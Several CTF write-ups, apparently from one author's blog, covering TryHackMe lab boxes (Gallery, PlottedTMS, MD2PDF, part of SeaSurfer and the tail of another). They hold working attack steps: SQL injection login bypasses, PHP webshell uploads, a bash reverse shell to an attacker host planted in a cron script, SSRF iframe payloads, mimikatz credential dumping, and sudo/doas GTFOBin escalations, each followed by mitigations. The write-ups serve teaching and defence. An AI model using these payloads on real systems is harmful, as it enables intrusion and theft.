│   ├─ mimikatz lsadump::sam -> NTLM hashes (Administrator, svc_backup)
│   │   └─ Pass-the-hash vs Samba -> Guest only (dead end)
│   └─ mimikatz vault::cred /patch -> cleartext scheduled-task password
│       └─ svc_backup : Napping2Curator
│
├─ Linux Shell Access
│   ├─ ssh svc_backup -> authenticates but hangs (ForceCommand)
│   ├─ sftp svc_backup -> works; sshd_config confirms Match group + ForceCommand /opt/restrict
│   ├─ Weaknesses: /opt/restrict writable, .ssh writable over SFTP
│   ├─ Upload SSH pubkey + overwrite /opt/restrict with `/bin/bash -i`
│   └─ ssh -i key svc_backup -> interactive shell (no sudo rights)
│
├─ User Flag
│   └─ Read via SFTP before the shell escape
│
├─ Privilege Escalation
│   ├─ Enumeration
│   │   ├─ SUID binaries all patched (pkexec etc.) - dead end
│   │   └─ pspy64 -> root cron: python3 /opt/archiver/app.py (every minute)
│   │
│   ├─ Attempt 1: tar argument injection - FAILED
│   │   └─ One tar process per file -> injected flags never land together
│   │
│   └─ Attempt 2: __pycache__ bytecode poisoning - SUCCESS
│       ├─ helper.cpython-310.pyc writable by svc_backup
│       ├─ Forge .pyc: module-level payload + header (mtime, size) matching real helper.py
│       ├─ Drop into /opt/archiver/__pycache__/
│       └─ Next cron tick -> payload runs as root -> SUID /tmp/rootbash
│
└─ Root Flag
    └─ /tmp/rootbash -p -> root shell -> cat /root/root.txt

10. Mitigations

Weakness	Fix
BitLocker protected by a weak, rockyou-crackable password (`123456789`)	Enforce a strong passphrase or TPM-backed key policy; don't rely on a user password alone for at-rest encryption
Local Administrator/recovery access obtainable via WinRE + Sticky Keys binary swap	Disable boot-to-WinRE/external-media recovery where not needed, or enforce BitLocker pre-boot authentication so the OS volume can't be mounted from an offline recovery shell at all; Secure Boot + a signed boot chain also blocks the `sethc.exe` swap
Cleartext scheduled-task password recoverable from Credential Manager via `vault::cred /patch`	Avoid storing passwords for scheduled/service accounts in the Windows Credentials vault; use a gMSA, a Windows service account with no interactive logon, or a secrets manager instead
SMB `backup` share readable via anonymous/null session	Disable SMB null sessions / guest access; require authentication on every share, even "informational" ones
`ForceCommand /opt/restrict` relied on for shell restriction, but the script itself and `.ssh` are writable by the restricted account	Restricted shells must not be writable by the account they restrict; ship them root-owned and read-only (0755 root:root), and lock down `~/.ssh` similarly or disable key-based auth for that account entirely
`/opt/archiver/__pycache__` world-writable, with a `.pyc` owned by the low-privileged service account	Never let an unprivileged account own or write into a privileged process's `__pycache__`; run `python3 -B` (or set `PYTHONDONTWRITEBYTECODE=1`) for privileged scripts, or ship pre-compiled bytecode owned by root with a root-only cache directory
`app.py`/`helper.py` run unsanitized filenames from a world-writable `/backup` directly into `tar`	Don't pass user-controlled filenames straight into `tar`'s argument list; use `tar --` with validated/sanitized names, or call `tarfile` from Python instead of shelling out
Root cron job runs code out of a directory (`/opt/archiver`) with any component writable by a non-root account	Principle of least privilege for cron/scheduled jobs: the entire execution path (script, imports, cache, working directory) should be root-owned and non-writable by the account that triggers or feeds it data

11. References

Python Cache Poisoning - PrivEsc - Linux (Hardsoft Security) - background and manual exploitation steps for the __pycache__ bytecode-poisoning technique used in Section 7.4
pycache_poison.py - this repo's reusable script automating the technique (Section 7.5)

TryHackMe: Gallery Writeup

Yogeshwar Peela — Mon, 12 Oct 2026 13:47:12 +0000

Summary

Gallery is a Linux box running a "Simple Image Gallery System" PHP application on port 8080. The login form is vulnerable to a classic SQL injection auth bypass, which grants admin access. The admin profile page allows an avatar upload with no file-type restriction, enabling a PHP webshell upload and remote code execution as www-data. Database credentials recovered from the source lead to the gallery_db MySQL instance, and a world-readable backup of a user's .bash_history leaks a plaintext password for the user mike. Once logged in as mike, a misconfigured sudo rule allows running /opt/rootkit.sh as root with no password; the script shells out to nano as root, which is abused as a GTFOBin to spawn a root shell.

1. Recon

rustscan -a <MACHINE_IP> --ulimit 5000

Open <MACHINE_IP>:22
Open <MACHINE_IP>:80
Open <MACHINE_IP>:8080

nmap -A <MACHINE_IP> -p 22,80,8080 -oN gallery-nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Simple Image Gallery System
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set

Port 80 is the stock Apache default page (nothing of interest). Port 8080 redirects to /gallery/login.php:

<script>location.href="http://<MACHINE_IP>/gallery/./login.php"</script>

This revealed the real document root is /gallery/ under the port-80 vhost, and the app is "Simple Image Gallery System" by oretnom23, v1.0.

2. SQL Injection Auth Bypass

The login form posts a username and password to login.php. Supplying a classic boolean-based injection in the username field bypasses authentication entirely:

Username: ' or 1=1-- -
Password: anything (1234 used here)

This logged straight in as the first user in the users table, the admin account, confirming the login query is unparameterized and string-concatenated.

3. Admin Panel -> Arbitrary File Upload -> RCE

Once authenticated as admin, the profile page at ?page=user exposes an avatar upload field with no server-side extension or content-type validation. Uploading a PHP webshell as the avatar is accepted and stored under uploads/, and is directly reachable and executable from the web root. The avatar is rendered back into the admin UI itself, so after submitting the update, simply reloading the page (or navigating back to the dashboard) is enough to load the uploaded avatar and trigger execution - no need to browse to the file path directly. A listener was staged first:

penelope listen -p 4444

Triggering the shell gave an interactive callback:

[+] [New Reverse Shell] => ip-<MACHINE_IP> <MACHINE_IP> Linux-x86_64  www-data(33)  Session ID <1>
www-data@ip-<MACHINE_IP>:/$ whoami
www-data
www-data@ip-<MACHINE_IP>:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

4. Source Review and Database Access

Reading the application source confirmed the injection point and surfaced database credentials:

www-data@ip-<MACHINE_IP>:/var/www/html/gallery$ cat initialize.php
$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0', ... );
if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"gallery_user");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"passw0rd321");
if(!defined('DB_NAME')) define('DB_NAME',"gallery_db");

Using these credentials directly against the local MySQL instance (binding only to 127.0.0.1:3306) worked even though the same creds failed when the shell's effective user didn't match what MySQL expected over the socket:

www-data@ip-<MACHINE_IP>:/var/www$ mysql -u gallery_user -p'passw0rd321' -h 127.0.0.1 -e "use gallery_db; select * from users;"
+----+--------------+----------+----------+----------------------------------+
| id | firstname    | lastname | username | password                         |
+----+--------------+----------+----------+----------------------------------+
|  1 | Adminstrator | Admin    | admin    | a228b12a08b6527e7978cbe5d914531c |
+----+--------------+----------+----------+----------------------------------+

This confirms the admin table entry used in the SQLi bypass, though database access doesn't directly advance privilege escalation on its own.

5. Local Enumeration and Lateral Movement to mike

www-data@ip-<MACHINE_IP>:/var$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:ubuntu:/home/ubuntu:/bin/bash
mike:x:1001:1001:mike:/home/mike:/bin/bash

/home/mike itself wasn't readable, but a backup copy of the home directory was world-readable:

www-data@ip-<MACHINE_IP>:/var$ ls -la /var/backups/mike_home_backup/
-rwxr-xr-x 1 root root  135 May 24  2021 .bash_history

www-data@ip-<MACHINE_IP>:/var$ cat /var/backups/mike_home_backup/.bash_history
cd ~
ls
ping 1.1.1.1
cat /home/mike/user.txt
cd /var/www/
ls
cd html
ls -al
cat index.html
sudo -lb3stpassw0rdbr0xx
clear
sudo -l
exit

The line sudo -lb3stpassw0rdbr0xx is mike typing his sudo password straight after sudo -l without a space (the shell echoed it back into history as one token). The password is b3stpassw0rdbr0xx.

www-data@ip-<MACHINE_IP>:/var$ su mike
Password: 
mike@ip-<MACHINE_IP>:/var$ cd ~
mike@ip-<MACHINE_IP>:~$ cat user.txt
THM{REDACTED}

6. Privilege Escalation: sudo rootkit.sh -> nano GTFOBin

mike@ip-<MACHINE_IP>:~$ sudo -l
User mike may run the following commands on ip-<MACHINE_IP>:
    (root) NOPASSWD: /bin/bash /opt/rootkit.sh

mike@ip-<MACHINE_IP>:~$ cat /opt/rootkit.sh
#!/bin/bash

read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;

case $ans in
    versioncheck)
        /usr/bin/rkhunter --versioncheck ;;
    update)
        /usr/bin/rkhunter --update;;
    list)
        /usr/bin/rkhunter --list;;
    read)
        /bin/nano /root/report.txt;;
    *)
        exit;;
esac

The read branch opens /root/report.txt in nano as root. Modern nano supports executing a command and piping its output into the buffer (Ctrl+R, Ctrl+X), which runs as the nano process's user - root here:

mike@ip-<MACHINE_IP>:~$ sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? read

Inside nano: Ctrl+R -> Ctrl+X -> Execute Command prompt -> entered:

reset; sh 1>&0 2>&0

This spawned an interactive root shell inside the nano session:

# whoami
root
# cd /root
# ls
report.txt  root.txt
# cat root.txt
THM{REDACTED}

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	SQL injection, auth bypass	`login.php`	Unauthenticated admin login
2	Unrestricted file upload	Admin profile avatar upload (`?page=user`)	PHP webshell upload -> RCE as `www-data`
3	Hardcoded DB credentials in source	`initialize.php`	Full access to `gallery_db`
4	World-readable backup with plaintext password in shell history	`/var/backups/mike_home_backup/.bash_history`	Credential disclosure, lateral movement to `mike`
5	Overly permissive sudo rule + GTFOBin (`nano`)	`sudo -l` -> `/opt/rootkit.sh` -> `nano`	Privilege escalation to root

Attack Chain

Nmap scan (22, 80, 8080)
        │
        ▼
Simple Image Gallery System on :8080
        │
        ▼
SQL injection auth bypass (' or 1=1-- -)
        │
        ▼
Logged in as admin
        │
        ▼
Unrestricted avatar upload -> PHP webshell
        │
        ▼
RCE as www-data (reverse shell)
        │
        ▼
initialize.php leaks DB creds -> gallery_db confirmed
        │
        ▼
/var/backups/mike_home_backup/.bash_history leaks mike's password
        │
        ▼
su mike -> user.txt
        │
        ▼
sudo -l: NOPASSWD /opt/rootkit.sh
        │
        ▼
rootkit.sh -> nano /root/report.txt (as root)
        │
        ▼
nano Execute Command GTFOBin -> root shell
        │
        ▼
root.txt

Mitigations

Use parameterized queries / prepared statements for all authentication and data-access code; never concatenate user input into SQL.
Validate uploaded files server-side by content (magic bytes) and re-encode images rather than trusting the filename extension; store uploads outside the webroot or in a directory with PHP execution disabled.
Never hardcode database credentials in application source; use environment variables or a secrets manager, and keep source out of the web-accessible document root.
Ensure backup archives and directories preserve the original ownership and permission model of the files they contain; a backup should never be more permissive than the source it was taken from. Avoid persisting shell history files with credentials at all.
Scope sudo rules to the minimum necessary; avoid NOPASSWD wrappers around scripts that shell out to interactive, full-featured editors like nano, vim, less, etc. Use sudoedit or a restricted editor mode instead.

TryHackMe: PlottedTMS Writeup

Yogeshwar Peela — Mon, 12 Oct 2026 13:38:20 +0000

Summary

Plotted is a Linux CTF box hosting a PHP "Traffic Offense Management System" (TOMS) admin panel across two web services (ports 80 and 445). Initial enumeration uncovered decoy files and a leaked SQL database backup exposing weak MD5 password hashes. The web login was bypassed with a classic SQL injection auth bypass, and an arbitrary file upload in the admin panel's logo setting gave remote code execution as www-data. A misconfigured cron job combined with a writable script directory allowed privilege escalation to plot_admin, and a misconfigured doas rule for openssl allowed arbitrary file read as root, recovering the root flag.

1. Reconnaissance

Port scan with rustscan + nmap:

rustscan -a <MACHINE_IP> --ulimit 5000

Open <MACHINE_IP>:80
Open <MACHINE_IP>:22
Open <MACHINE_IP>:445

nmap -A <MACHINE_IP> -p 80,22,445 -oN plottedtms-nmap

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.41 ((Ubuntu))
445/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

Both port 80 and port 445 serve HTTP (445 is not SMB here, just Apache on a non-standard port). Both returned the default Apache2 Ubuntu page on /.

2. Web Enumeration - Port 80

Directory brute force with feroxbuster turned up a directory listing and some decoy files:

feroxbuster -u http://<MACHINE_IP>/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,py,js -C 404

200   GET   admin/id_rsa
301   GET   admin => admin/
200   GET   passwd
200   GET   shadow

curl http://<MACHINE_IP>/admin/id_rsa
VHJ1c3QgbWUgaXQgaXMgbm90IHRoaXMgZWFzeS4ubm93IGdldCBiYWNrIHRvIGVudW1lcmF0aW9uIDpE

curl http://<MACHINE_IP>/passwd
bm90IHRoaXMgZWFzeSA6RA==

curl http://<MACHINE_IP>/shadow
bm90IHRoaXMgZWFzeSA6RA==

Decoding the base64:

echo 'VHJ1c3QgbWUgaXQgaXMgbm90IHRoaXMgZWFzeS4ubm93IGdldCBiYWNrIHRvIGVudW1lcmF0aW9uIDpE' | base64 -d
Trust me it is not this easy..now get back to enumeration :D

echo 'bm90IHRoaXMgZWFzeSA6RA==' | base64 -d
not this easy :D

All three files were troll decoys - port 80 was a dead end.

3. Web Enumeration - Port 445

Same brute force against port 445 revealed a much larger PHP application under /management/ (an AdminLTE-based "Traffic Offense Management System"), with directory listing enabled on nearly every subdirectory:

feroxbuster -u http://<MACHINE_IP>:445/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,py,js -C 404

301   GET   management => management/
301   GET   management/classes => management/classes/
301   GET   management/database => management/database/
200   GET   management/admin/login.php
200   GET   management/index.php
...
found:299  errors:4

Notably, /management/database/ had directory listing enabled and exposed a SQL dump:

curl http://<MACHINE_IP>:445/management/database/
...
<a href="traffic_offense_db.sql">traffic_offense_db.sql</a>  10K

4. Database Dump and Credential Cracking

Pulled the dump directly:

curl http://<MACHINE_IP>:445/management/database/traffic_offense_db.sql

Key contents - users table with unsalted MD5 hashes:

INSERT INTO `users` (`id`, `firstname`, `lastname`, `username`, `password`, ...) VALUES
(1, 'Adminstrator', 'Admin', 'admin', '0192023a7bbd73250516f069df18b500', ...),
(9, 'John', 'Smith', 'jsmith', '1254737c076cf867dc53d60a0364f38e', ...);

Cracked with John (specifying the Raw-MD5 format, since the default guess was LM):

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

admin123          (?)
jsmith123         (?)

Tried both creds over SSH for admin and jsmith - both rejected (no valid shell accounts with those passwords). They also failed against the web admin login form directly - this whole hash/cracking path was a dead end, and access to the panel instead required the SQL injection below.

5. SQL Injection Auth Bypass

With the cracked credentials useless against the login form, the next step was testing the form itself, which proved vulnerable to a classic SQL injection auth bypass. Submitting:

Username: ' or 1=1-- -
Password: any value

logged in as the administrator, confirming the login query was unparameterized and concatenated user input directly into the SQL query.

![Login page with SQLi payload in username field]

This granted access to the TOMS admin dashboard at /management/admin/.

6. Arbitrary File Upload to RCE

With admin access, the Settings > System Logo upload field had no server-side file type validation. Uploading a PHP webshell (shell.php) as the "logo" and then browsing to the dashboard triggered execution of the shell, giving a command execution primitive as the web server user:

www-data@plotted:/$ whoami
www-data
www-data@plotted:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

7. Privilege Escalation - www-data to plot_admin (Cron + Writable Script Dir)

Enumeration of cron jobs revealed a job running every minute as plot_admin:

cat /etc/crontab
* * * * * plot_admin /var/www/scripts/backup.sh

cat /var/www/scripts/backup.sh
#!/bin/bash
/usr/bin/rsync -a /var/www/html/management /home/plot_admin/tms_backup
/bin/chmod -R 770 /home/plot_admin/tms_backup/management

The script file itself (-rwxrwxr-- plot_admin plot_admin) was not directly writable by www-data, but the containing directory was:

ls -la /var/www/scripts/
drwxr-xr-x 2 www-data www-data 4096 ... .
-rwxrwxr-- 1 plot_admin plot_admin  141 ... backup.sh

Since /var/www/scripts is owned by www-data with write permission, www-data can remove and recreate files inside it regardless of the individual file's own ownership/permissions. The original script was deleted and replaced with a reverse shell payload:

rm backup.sh
cat > backup.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/4443 0>&1
EOF
chmod +x backup.sh

Within a minute the cron job fired as plot_admin:

penelope listen -p 4443
[+] [New Reverse Shell] => plotted <MACHINE_IP> Linux-x86_64 plot_admin(1001)

plot_admin@plotted:~$ whoami
plot_admin
plot_admin@plotted:~$ id
uid=1001(plot_admin) gid=1001(plot_admin) groups=1001(plot_admin)
plot_admin@plotted:~$ cat user.txt
<REDACTED>

8. Privilege Escalation - plot_admin to root (doas + openssl)

sudo -l failed (no known password for plot_admin). Checked for exploitable SUID binaries next:

find / -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/at
/usr/bin/chsh
/usr/bin/umount
/usr/bin/doas
/usr/bin/newgrp
/usr/libexec/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
(plus a number of SUID binaries under /snap/core18, /snap/core20, /snap/snapd - all standard snap-packaged binaries)

Nothing exploitable on its own, but /usr/bin/doas stood out as worth checking its config - also confirmed there was no gcc/cc available for compiling exploits. Checking for doas (OpenBSD's sudo alternative) configuration revealed a passwordless rule:

cat /etc/doas.conf
permit nopass plot_admin as root cmd openssl

plot_admin can run openssl as root with no password. Running an interactive shell directly was blocked since only the openssl command is permitted:

doas -u root /bin/sh
doas: Operation not permitted

This is a known GTFOBins technique: openssl enc can be abused to read arbitrary files as root, since enc with no real encryption flags just passes the input through to the output. Used it to exfiltrate the root flag:

doas openssl enc -in /root/root.txt -out /tmp/root.txt
cat /tmp/root.txt
Congratulations on completing this room!

<REDACTED>

Hope you enjoyed the journey!

Confirmed arbitrary root-level file read more generally by dumping /etc/passwd to stdout the same way:

doas openssl enc -in /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Directory listing enabled	`/admin/` (port 80), `/management/*` (port 445)	Information disclosure
2	Exposed database backup	`/management/database/traffic_offense_db.sql`	Leaked password hashes
3	Weak/unsalted MD5 password hashing	`users` table	Hashes cracked instantly with rockyou.txt
4	SQL injection in login form	`/management/admin/login.php`	Authentication bypass as admin
5	Unrestricted file upload	Admin Settings > System Logo	Remote code execution as `www-data`
6	World/owner-writable script directory with root-owned cron job	`/var/www/scripts/` + `/etc/crontab`	Privilege escalation `www-data` -> `plot_admin`
7	Overly permissive `doas` rule for `openssl`	`/etc/doas.conf`	Arbitrary file read as root -> full root compromise

Attack Chain

Nmap scan (22/80/445)
        |
        v
feroxbuster on :80 --> decoy files (id_rsa/passwd/shadow, all troll strings)
        |
        v
feroxbuster on :445 --> /management/ app + directory listing
        |
        v
Leaked traffic_offense_db.sql --> MD5 password hashes
        |
        v
John the Ripper (rockyou.txt) --> admin123 / jsmith123 (dead end for SSH)
        |
        v
SQLi auth bypass on /management/admin/login.php ( ' or 1=1-- - )
        |
        v
Admin dashboard access
        |
        v
Arbitrary file upload via System Logo setting --> shell.php
        |
        v
RCE as www-data
        |
        v
Cron job (* * * * * plot_admin backup.sh) + writable /var/www/scripts/
        |
        v
Overwrite backup.sh with reverse shell --> shell as plot_admin
        |
        v
user.txt captured
        |
        v
/etc/doas.conf: plot_admin nopass openssl as root
        |
        v
doas openssl enc -in /root/root.txt -out /tmp/root.txt (GTFOBins)
        |
        v
root.txt captured - full compromise

Mitigations

Disable directory listing (Options -Indexes) on all web-accessible directories, and never leave database backups or source trees reachable over HTTP.
Use a strong, salted, slow hashing algorithm (bcrypt/argon2) for stored passwords instead of raw MD5.
Use parameterized queries/prepared statements everywhere user input reaches SQL, especially authentication logic.
Validate and restrict uploaded file types server-side (whitelist extensions/MIME types, store uploads outside the web root or with execution disabled) rather than trusting client-side checks or filenames.
Ensure directories containing root- or privileged-user-owned cron scripts are not writable by lower-privileged service accounts (www-data should not own the parent directory of a script executed by a cron job running as another user).
Scope doas/sudo rules to the minimum necessary; avoid granting nopass access to generic multi-purpose binaries like openssl, find, vim, etc. that are well-known GTFOBins privilege escalation vectors.

TryHackMe: MD2PDF Writeup

Yogeshwar Peela — Wed, 07 Oct 2026 11:34:47 +0000

Summary

MD2PDF is a web app that converts user-submitted Markdown into a downloadable PDF using a server-side rendering engine. The input is not sanitized, so raw HTML is rendered as-is - including tags like <iframe> that cause the renderer to make its own outbound HTTP requests. Since those requests originate from the server itself, they can be pointed at localhost, allowing an attacker to reach an /admin endpoint that was supposed to be restricted to internal/localhost traffic only. Chaining the HTML injection with this SSRF behavior let an external, unauthenticated user retrieve the contents of the restricted admin page - including the flag - entirely through the PDF export feature.

1. Reconnaissance

A port scan of the target was run first to see what was exposed.

rustscan -a machine-ip --ulimit 5000

This found three open ports, which were then fingerprinted with a full service/version scan:

nmap -sCV machine-ip -p 22,80,5000

Results:

Port	State	Service
22	open	OpenSSH 8.2p1 (Ubuntu)
80	open	HTTP - MD2PDF web app
5000	open	HTTP - MD2PDF web app (same application, different port)

Both port 80 and port 5000 host the same MD2PDF instance. This detail turns out to matter later: the app itself refers to port 5000 as its "internal" / localhost-facing port.

Browsing to the site showed a simple single-page app: a textarea for Markdown input, and a "Convert to PDF" button.

2. Confirming HTML Injection

The app is advertised as a Markdown converter, but Markdown renderers commonly pass raw HTML through untouched unless explicitly configured not to. To test this, the following was submitted in the textarea instead of plain Markdown:

<b> test </best>

(note the intentionally mismatched closing tag - this was just to confirm the parser wasn't doing anything unusual with malformed input)

Clicking Convert to PDF produced a PDF where the word "test" appeared in bold. This confirmed that:

The input is not sanitized or HTML-escaped before rendering.
The conversion pipeline interprets raw HTML tags as HTML, not as literal text.

This is the entry point for the rest of the attack: anything that can be embedded in HTML and processed by a rendering engine can potentially be injected here.

3. Identifying the Rendering Engine's Capabilities (SSRF Test)

Because this is a Markdown-to-PDF converter, there's almost always a headless browser or HTML-rendering engine working server-side (e.g., a Chromium-based renderer or similar) that loads the HTML and prints it to PDF. These engines can load external resources - including iframes, images, and stylesheets - exactly like a normal browser would. Critically, when it does so, the request comes from the server, not from the attacker's machine.

To test this, an iframe pointing to an arbitrary IP was injected:

<b>
  <iframe src="http://attacker-ip"></iframe>
</b>

Converting this to PDF caused the server to actually attempt an outbound connection to that address - confirming the renderer fetches iframe src URLs server-side. This is the hallmark of an SSRF: the application will make network requests on the attacker's behalf, to destinations the attacker chooses.

A secondary attempt was made to read a local file directly via the file:// scheme:

<iframe src="file:///etc/passwd" width="800px" height="600px"></iframe>

This did not work - the renderer either blocks the file:// protocol or doesn't support it for iframes. This ruled out direct local file disclosure, but it didn't rule out SSRF against network services, which is the direction that paid off.

4. Enumerating the Application for Internal-Only Endpoints

With confirmed HTML injection, the next question was: is there anything on this server worth reaching that we can't reach directly?

A content/directory brute-force was run against the web root:

feroxbuster -u http://machine-ip/

Notable results:

403   GET   /admin
405   GET   /convert
200   GET   /static/...   (css/js assets)

The /admin path stood out - a 403 Forbidden suggests the route exists but access is being deliberately blocked. Visiting it directly in a browser confirmed this:

Forbidden
This page can only be seen internally (localhost:5000)

This is the key finding: /admin is gated by an IP/host-based check rather than real authentication. The app only serves that page when the incoming request appears to originate from localhost on port 5000 - i.e., from the server talking to itself.

5. Chaining HTML Injection + SSRF to Reach `/admin`

Since Step 3 established that the PDF-rendering engine makes its HTTP requests from the server itself, and Step 4 established that /admin trusts any request that looks like it came from localhost:5000, the two issues chain together perfectly:

If the renderer (running on the server) requests /admin on localhost:5000, the request genuinely does originate from localhost - the "internal only" check passes, because it isn't actually checking identity, just request origin.

The following payload was submitted to the converter:

<b>
  <iframe src="http://localhost:5000/admin"></iframe>
</b>

The server-side renderer loaded this HTML, resolved the iframe's src, and - because it was making the request locally - successfully retrieved the normally-forbidden /admin page. That rendered content was then embedded into the output PDF, which was downloadable by the attacker.

6. Result

Opening the generated PDF revealed the contents of the admin page, including the challenge flag:

flag{REDACTED}

7. Root Cause Analysis

Two separate weaknesses combined to produce this vulnerability:

Unsanitized HTML input to a server-side renderer.
The application accepts raw HTML (not just Markdown) and passes it directly into a rendering engine capable of making outbound HTTP requests (via <iframe>, and likely <img>, <link>, etc.). No tag/attribute allowlist or sandboxing was applied.
Access control based on request origin instead of authentication.
/admin is protected only by a check of where the request appears to come from (localhost:5000). This is not a security boundary when something on that same host (like the PDF renderer) can be convinced to make requests on an attacker's behalf. "Is this localhost?" is not equivalent to "is this an authenticated admin?"

Together, these allow an unauthenticated external user to indirectly make authenticated-looking requests to internal-only endpoints - a textbook SSRF-to-access-control-bypass chain.

8. Remediation Recommendations

Sanitize HTML input before rendering: strip or allowlist tags (removing iframe, img, object, embed, script, and similar resource-loading/network-capable elements) if the app is genuinely only meant to accept Markdown.
Network-isolate the renderer: run the PDF rendering process in a container/namespace with no route to internal services (deny-by-default egress, or an explicit allowlist of nothing).
Never trust "localhost" as an authorization mechanism. Any service that can be tricked into making a loopback request (renderers, image proxies, webhook handlers, URL preview features, etc.) defeats this check trivially. Protect sensitive endpoints with real authentication (tokens, session checks, mTLS) instead of request-origin checks.
Disable dangerous URL schemes (file://, gopher://, etc.) in the renderer regardless of the above, as defense in depth.

Timeline Summary

Step	Action	Outcome
1	Port scan (`rustscan`, `nmap`)	Found ports 22, 80, 5000 - both 80/5000 run MD2PDF
2	Injected `<b>` tag into Markdown input	Confirmed unsanitized HTML injection
3	Injected `<iframe src="http://<external-ip>">`	Confirmed SSRF - server makes outbound requests
4	`feroxbuster` directory scan	Found `/admin` (403, "internal only")
5	Injected `<iframe src="http://localhost:5000/admin">`	Renderer fetched `/admin` locally, bypassing the restriction
6	Opened resulting PDF	Flag disclosed

9. Attack Chain

A condensed view of how each weakness fed into the next:

Unsanitized Markdown input
        │
        ▼
Raw HTML is rendered server-side (HTML Injection confirmed)
        │
        ▼
<iframe> causes the renderer to make its OWN outbound request (SSRF confirmed)
        │
        ▼
feroxbuster finds /admin -> blocked unless request looks like it's from localhost:5000
        │
        ▼
Inject <iframe src="http://localhost:5000/admin">
        │
        ▼
Renderer (running ON the server) requests /admin FROM localhost
        │
        ▼
"Internal only" check passes - request genuinely IS local
        │
        ▼
/admin content is rendered into the output PDF
        │
        ▼
Attacker downloads PDF -> reads restricted admin page -> flag disclosed

In short: HTML Injection gave control over what the renderer does -> SSRF gave the ability to make the renderer issue requests on the attacker's behalf -> a flawed "localhost-only" access check was satisfied because the request really did come from localhost (just not from a trusted party).

10. Key Vulnerabilities and Mitigations

#	Vulnerability	Why It's Exploitable	Mitigation
1	HTML Injection - the Markdown input field renders raw HTML unsanitized	Lets an attacker control exactly what the server-side renderer loads and executes, instead of only safe Markdown-derived output	Sanitize/strip input before rendering; allowlist safe Markdown-only elements and strip tags like `<iframe>`, `<script>`, `<object>`, `<embed>`, `<link>`, `<img>` with remote `src` if they aren't needed
2	Server-Side Request Forgery (SSRF) - the rendering engine fetches remote resources (e.g., iframe `src`) on the server's behalf	Allows an external attacker to make the server issue network requests to arbitrary destinations, including internal-only services	Run the renderer in a network-isolated sandbox/container with no route to internal services; enforce a strict egress allowlist (ideally none); disable dangerous schemes like `file://` and `gopher://`
3	Broken access control on `/admin` - protected only by checking if the request appears to come from `localhost:5000`	Request-origin checks don't verify who is asking, only where the request appears to originate from - trivially spoofable by anything else running on the same host (like the renderer)	Require real authentication (session tokens, credentials, mTLS) for sensitive endpoints instead of relying on source-IP/hostname checks
4	Lack of defense in depth - a single injection point led directly to full internal endpoint disclosure	No compensating controls existed between "attacker can inject HTML" and "attacker can read restricted admin data"	Layer controls: input sanitization AND network isolation AND proper authentication, so that no single flaw results in full compromise

TryHackMe - SeaSurfer writeup

Yogeshwar Peela — Wed, 07 Oct 2026 10:35:41 +0000

Executive Summary

The engagement began with a single disclosed virtual host name leaking out of an HTTP response header on the target web server. That one leak unraveled the entire box: it led to a WordPress site, an internal-only receipt-generation application, and an exposed database admin panel. The receipt app turned out to echo every form field straight into HTML that was then rendered server-side into a PDF, with no output encoding at all. That reflected injection was first used to confirm a Server-Side Request Forgery (SSRF - outbound HTTP to attacker infrastructure), and then upgraded to a Local File Inclusion (LFI) that read /etc/passwd and, critically, WordPress's wp-config.php. The leaked database credentials unlocked the previously-found Adminer panel, which exposed the WordPress users table, including a crackable password hash. The cracked password was valid for the WordPress admin panel, where the built-in Theme File Editor was used to drop a PHP payload and obtain a reverse shell as www-data. From there, a poorly-written backup cron job running tar with a wildcard in a web-writable directory was abused for classic tar wildcard code execution, escalating to the kyle user. Finally, a stray SSH agent socket left behind by another session, combined with a pam_ssh_agent_auth sudo configuration, allowed kyle to authenticate sudo using an agent-held key that was never supposed to be reachable, yielding a full root shell.

1. Reconnaissance

1.1 Port Scan

rustscan -a machine-ip --ulimit 5000
nmap -sCV machine-ip -p 22,80 -oN sea-surfer-nmap

Port	Service	Version
22	ssh	OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80	http	Apache httpd 2.4.41 (Ubuntu)

1.2 VHost Disclosure via Response Header

curl to the bare IP returned the stock Apache default page, but a verbose request leaked the real backend vhost name in a custom header:

curl -iv http://machine-ip/
...
< X-Backend-Server: seasurfer.thm

Added to /etc/hosts: machine-ip seasurfer.thm.

2. Main Site Enumeration - seasurfer.thm

Browsing the vhost revealed a WordPress 5.9.3 site ("Sea Surfer - Ride the Wave!") using the twentyseventeen theme and the team-members plugin. The "About" page's staff directory (Maya Martins - Owner, Brandon Baker - Salesman, Kyle King - Sysadmin, described as "a very proficient PHP coder") provided candidate usernames later confirmed to matter - kyle turned out to be the actual low-privilege system/WordPress account.

